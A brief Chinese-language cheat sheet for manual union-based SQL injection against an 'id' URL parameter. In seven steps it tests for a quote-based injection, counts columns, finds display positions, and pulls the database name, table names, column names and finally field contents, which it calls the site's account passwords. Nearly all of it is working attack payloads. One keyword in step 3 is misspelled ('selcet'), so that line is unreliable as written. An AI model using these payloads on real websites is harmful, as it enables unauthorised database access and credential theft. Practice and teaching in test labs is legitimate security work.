- 判断是否存在注入
id=1’ 异常
id=1’ and 1=1%23 正确
id=1’ and 1=2%23 错误
说明存在单引号字符型SQL注入
都错误的话,可以尝试数字型,双引号,括号型
2.求列数
id = 1 order by 4%23 正常
Id = 1 order by 5%23异常
说明有4列
格式 id = 1 order by 数字%23
3.求显示位
id = 1 and 1=2 union selcet 1,2,3,4%23 有几列就到几
之后去找看看那里替换了1,2,3,4中的哪一个
4.求数据库
找出替换了的那一位 之后用database() 替换掉数字位 便可得出数据库
假如2变了 就可以用2替换
Id=1 and 1=2 union select 1,database(),3,4%23
会根据这个爆出数据库。
5.求表名
id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='数据库名'%23
求出的各个表的名字
(table_name)改为(0x23,table_name) 可以用#将表名分开
6.求列名
id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='数据库名' and table_name = '表名’%23
7.求字段内容
id=2 union select 1,2,group_concat(需列,0x23,需列),4 from 数据库名.表名%23
即爆出需要的账户密码了